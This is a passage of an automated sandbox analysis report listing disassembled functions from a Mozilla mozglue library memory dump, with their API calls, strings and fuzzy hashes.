Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: 4137d03381a025ad36ab9a787ded1573bf3e4c4ad511091d4a4daa24cf822f72
Instruction ID: 315f7fbe94da587da728d85a16304f4067f99594be10b55fb17a2c376845603a
Opcode Fuzzy Hash: 4137d03381a025ad36ab9a787ded1573bf3e4c4ad511091d4a4daa24cf822f72
Instruction Fuzzy Hash: C471AA746047068FD724CF29C480966BBF5FF4A3287254AADE85A8BF90D731F841CB91

Function 6C96B790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C9ACC83,?,?,?,?,?,?,?,?,?,6C9ABCAE,?,?,6C99DC2C), ref: 6C96B7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C9ACC83,?,?,?,?,?,?,?,?,?,6C9ABCAE,?,?,6C99DC2C), ref: 6C96B80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C9ACC83,?,?,?,?,?,?,?,?,?,6C9ABCAE), ref: 6C96B88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C9ACC83,?,?,?,?,?,?,?,?,?,6C9ABCAE,?,?,6C99DC2C), ref: 6C96B896

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 041c6b22a8d40372991466ac8ae860c2a7069c3b8c3ee84659335f43ccf86f9c
Instruction ID: 246f456b76d7412a1ea2c0a98076613406390562ee2cffc32c3731d00e4ffd17
Opcode Fuzzy Hash: 041c6b22a8d40372991466ac8ae860c2a7069c3b8c3ee84659335f43ccf86f9c
Instruction Fuzzy Hash: 3E519C757046008FDB24CF5AC484A2AB7F5FF89318B69859DE98A97B81D731EC01DB80

Function 6C9A1D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9A1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C9A1BE3,?,?,6C9A1D96,00000000), ref: 6C9A1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C9A1BE3,?,?,6C9A1D96,00000000), ref: 6C9A1D4C
GetCurrentThreadId.KERNEL32 ref: 6C9A1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9A1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9A1DDA

Part of subcall function 6C9A1EF0: GetCurrentThreadId.KERNEL32 ref: 6C9A1F03
Part of subcall function 6C9A1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C9A1DF2,00000000,00000000), ref: 6C9A1F0C
Part of subcall function 6C9A1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C9A1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C9A1DF4

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 434161ff008567d77c09c505c1b100bb3110490fdb6e46222be36b3a6b6c0cd2
Instruction ID: 069d8256c4beba576eed91c856fefd64cfa7b12fa5074811dcdac2462626f73d
Opcode Fuzzy Hash: 434161ff008567d77c09c505c1b100bb3110490fdb6e46222be36b3a6b6c0cd2
Instruction Fuzzy Hash: B54145B5204B01DFCB10DF69C488A56BBF9FB99714F20442EE95A87B41CB71F854CB91

Function 6C9638A0 Relevance: 10.6, APIs: 7, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C9DE220,?,?,?,?,6C963899,?), ref: 6C9638B2
ReleaseSRWLockExclusive.KERNEL32(6C9DE220,?,?,?,6C963899,?), ref: 6C9638C3
free.MOZGLUE(00000000,?,00000000,0000002C,?,?,?,6C963899,?), ref: 6C9638F1
RtlFreeHeap.NTDLL ref: 6C963920
RtlFreeUnicodeString.NTDLL(-0000000C,?,?,?,6C963899,?), ref: 6C96392F
RtlFreeUnicodeString.NTDLL(-00000014,?,?,?,6C963899,?), ref: 6C963943
RtlFreeHeap.NTDLL ref: 6C96396E

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID:
API String ID: 3047341122-0
Opcode ID: 24adca4353828bea103a318e3c2a3e7c98cfdf66cd00006cec9ba144382acbcd
Instruction ID: f9de067691d91b87a0a44fd442d7e2c6e8e41b5543c4b44dbf52ae36c0791fc8
Opcode Fuzzy Hash: 24adca4353828bea103a318e3c2a3e7c98cfdf66cd00006cec9ba144382acbcd
Instruction Fuzzy Hash: C721BF72600A10DFE7209F26C880B96BBA9FF55328F258469D95A97F90C730E985CB91

Function 6C9984E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9984F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C99850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C99851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C99855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C99856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9985AC

Part of subcall function 6C997670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C9985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C99767F
Part of subcall function 6C997670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C9985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C997693
Part of subcall function 6C997670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C9985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9976A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9985B2

Part of subcall function 6C975E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C975EDB
Part of subcall function 6C975E90: memset.VCRUNTIME140(6C9B7765,000000E5,55CCCCCC), ref: 6C975F27
Part of subcall function 6C975E90: LeaveCriticalSection.KERNEL32(?), ref: 6C975FB2

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: cac8eff9d937dac9b919cd4761e3ea95aef2999215e0182770f09a00ee56c3fe
Instruction ID: b7c9933464b9c951249474b6a6b36f53743d4bbb47717c3bf412c8ba39d925c4
Opcode Fuzzy Hash: cac8eff9d937dac9b919cd4761e3ea95aef2999215e0182770f09a00ee56c3fe
Instruction Fuzzy Hash: 48218E742006019FDB18DB28C888A6AB7B9AF9430DF28492DE55BD3B41DB31F958CB56

Function 6C961640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C961699
VerSetConditionMask.NTDLL ref: 6C9616CB
VerSetConditionMask.NTDLL ref: 6C9616D7
VerSetConditionMask.NTDLL ref: 6C9616DE
VerSetConditionMask.NTDLL ref: 6C9616E5
VerSetConditionMask.NTDLL ref: 6C9616EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C9616F9

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: 8f8a2cd46451d108828f2a413a0759199c5cf10e5333fb35fd7ac93a3b1621c1
Instruction ID: bba0b897be92b6e228a67421185f6b1bd8524806e54ce4ec3bb1d896e3242523
Opcode Fuzzy Hash: 8f8a2cd46451d108828f2a413a0759199c5cf10e5333fb35fd7ac93a3b1621c1
Instruction Fuzzy Hash: 9821D5B07442086BFB106A65CC45FBBB37CDF96704F044528F645AB6C0C674EE54C6A1

Function 6C99F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C99F598), ref: 6C99F621

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

GetCurrentThreadId.KERNEL32 ref: 6C99F637
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8,?,?,00000000,?,6C99F598), ref: 6C99F645
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8,?,?,00000000,?,6C99F598), ref: 6C99F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C99F62A

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 99e2e4a7255e96c9c32b5a1c0ac3f4d8398d7a213746abeb72b20cee0978f20d
Instruction ID: dbfb89039c02f222b4e8578100ebe23204c7e3c60010c0d8b7a0a5392eb98bc5
Opcode Fuzzy Hash: 99e2e4a7255e96c9c32b5a1c0ac3f4d8398d7a213746abeb72b20cee0978f20d
Instruction Fuzzy Hash: 0211E371209A05AFCB40AF58C8489A5B77DFF9635DB280015FA09A3F01CB71F861CBA1

Function 6C961FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C961FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C961FFD
__Init_thread_footer.LIBCMT ref: 6C962011
FreeLibrary.KERNEL32 ref: 6C962059

Strings

combase.dll, xrefs: 6C961FD9
CoCreateInstance, xrefs: 6C961FF7

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: 3a34ae18cd0fd3d7efdd1a7d06b4178ed928b9b246e63cdec053077a44efb8a4
Instruction ID: a05e65fbecb88758537929cf5cc8fa50c83dc609a7091692d6ff7701b3159862
Opcode Fuzzy Hash: 3a34ae18cd0fd3d7efdd1a7d06b4178ed928b9b246e63cdec053077a44efb8a4
Instruction Fuzzy Hash: 29115175209A05EFEF10CF55C84EE667B79EB86359F208419F905A3A80C731F890DFA1

Function 6C960EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C98D9F0,00000000), ref: 6C960F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C960F3C
__Init_thread_footer.LIBCMT ref: 6C960F50
FreeLibrary.KERNEL32(?,6C98D9F0,00000000), ref: 6C960F86

Strings

CoInitializeEx, xrefs: 6C960F36
combase.dll, xrefs: 6C960F18

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: d57daf84c3f9b33a4cdf9cde6b74a579e95b91fccb7cd8b778d0dff63dff6da6
Instruction ID: db76d53b309ef7e029be97d9141d51536daebdb60b8c645d9d77956a38dafc03
Opcode Fuzzy Hash: d57daf84c3f9b33a4cdf9cde6b74a579e95b91fccb7cd8b778d0dff63dff6da6
Instruction Fuzzy Hash: EC110630719A419BEF00CF55C949A693778EB8B32AF208619E905B3B80DB30F480CA69

Function 6C99F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C99F561

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

GetCurrentThreadId.KERNEL32 ref: 6C99F577
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99F585
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99F5A3

Strings

[I %d/%d] profiler_resume_sampling, xrefs: 6C99F499
[I %d/%d] profiler_pause_sampling, xrefs: 6C99F3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C99F56A
[I %d/%d] profiler_resume, xrefs: 6C99F239

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: e30c48d20f17c9ec6a6d5f07fc484cf4078869230fad77126673fd32d574df5b
Instruction ID: aa67c257549bbc056e8f111de936c12045696a46ba325a43ddb5548bf236ee4b
Opcode Fuzzy Hash: e30c48d20f17c9ec6a6d5f07fc484cf4078869230fad77126673fd32d574df5b
Instruction Fuzzy Hash: 27F0B475204A049FDB006F699C4C96A77BDEB9629EF294015FA09A3701CF31E84087B1

Function 6C99F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C99F598), ref: 6C99F621

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

GetCurrentThreadId.KERNEL32 ref: 6C99F637
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8,?,?,00000000,?,6C99F598), ref: 6C99F645
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8,?,?,00000000,?,6C99F598), ref: 6C99F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C99F62A

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 9a23326c18c620d3b4f5665758a1c7df30de0d042a0c62ae7b176801473360a7
Instruction ID: 8c8f31107bf0dabd3aea7ad4356660dd60110da7ec23acc7c525b99d64a93a69
Opcode Fuzzy Hash: 9a23326c18c620d3b4f5665758a1c7df30de0d042a0c62ae7b176801473360a7
Instruction Fuzzy Hash: 07F0B475204A04AFDF006F688C4C95A777DEB9625EF254015FA09A3701CB75E84587B1

Function 6C960E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C960DF8), ref: 6C960E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C960EA1
__Init_thread_footer.LIBCMT ref: 6C960EB5
FreeLibrary.KERNEL32 ref: 6C960EC5

Strings

GetProcessMitigationPolicy, xrefs: 6C960E9B
kernel32.dll, xrefs: 6C960E7D

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 0bf903564c60863462c14bb70443c6a6c79dd39a2da2b3aacfdda3046ff6dad3
Instruction ID: 65fc3a797f989c6b03bbc0683c11bc91570c852e558421845a6d685752eb891e
Opcode Fuzzy Hash: 0bf903564c60863462c14bb70443c6a6c79dd39a2da2b3aacfdda3046ff6dad3
Instruction Fuzzy Hash: D9014B74708A828BEF018FE9CA96BC273B5E766B1DF205525D901A3F80DB74F484CA56

Function 6C9905F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C98CFAE,?,?,?,6C9531A7), ref: 6C9905FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C98CFAE,?,?,?,6C9531A7), ref: 6C990616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C9531A7), ref: 6C99061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C9531A7), ref: 6C990627

Strings

<jemalloc>, xrefs: 6C9905FA, 6C99060F
: (malloc) Error in VirtualFree(), xrefs: 6C99061B, 6C990625

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 25db96d4eb97f6669a0a88a1216d998ba0ed13a1334b52ae264f65a75ea91de4
Instruction ID: 4ab761612b90a7cc9a4172cf68e3dfbe69a8d3ff13eb501e7c7b282a36168844
Opcode Fuzzy Hash: 25db96d4eb97f6669a0a88a1216d998ba0ed13a1334b52ae264f65a75ea91de4
Instruction Fuzzy Hash: 1CE08CE2A0101037F614225ABC86DBB7A1CDBDA134F080039FE0D82741E94AFD1A51F7

Function 6C9605F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

